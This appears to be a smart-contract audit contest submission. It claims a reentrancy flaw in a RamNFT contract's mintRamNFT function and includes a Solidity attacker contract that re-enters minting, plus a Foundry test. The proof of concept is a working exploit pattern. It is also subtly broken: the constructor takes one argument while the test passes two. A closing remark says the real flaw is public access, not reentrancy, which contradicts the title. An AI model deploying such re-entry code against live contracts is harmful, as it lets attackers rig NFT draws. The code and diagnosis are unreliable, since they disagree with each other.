The mintRamNFT
function in the RamNFT contract is vulnerable to a reentrancy attack. This allows malicious contracts to mint additional Ram NFTs, thus increasing their chances of being selected as Ram and undermining the contract's fairness.
Proof of Concept
```
contract Attacker is IERC721Receiver {
RamNFT ramNFT;
constructor(RamNFT _ramNFT) {
ramNFT = _ramNFT;
}
// Implement the IERC721Receiver interface to accept ERC721 tokens
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
// Number limited to 5 to prevent infinite loop
if(ramNFT.tokenCounter() < 5) {
// Reentrance to mint additional NFT
ramNFT.mintRamNFT(address(this));
}
return this.onERC721Received.selector;
}
}
```
```
function test_canMintExtraNft() public {
// Deploy the attacker contract
attacker = new Attacker(dussehra, ramNFT);
vm.deal(address(attacker), 1 ether); // Fund the attacker contract with ether
// Attacker enters contest
vm.prank(address(attacker));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
// Attacker is able to mint additional NFT.
assertEq(ramNFT.getCharacteristics(0).ram, address(attacker));
assertEq(ramNFT.getCharacteristics(1).ram, address(attacker));
assertEq(ramNFT.getCharacteristics(2).ram, address(attacker));
assertEq(ramNFT.getCharacteristics(3).ram, address(attacker));
}
```
An attacker can mint extra Ram NFTs, increasing their chances of being selected as Ram, and thereby manipulating the contract’s intended fairness.
Manual review, foundry
The problem is that the `mintRamNFT` function is public and anyone can call it, not that the function uses `_safeMint`.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.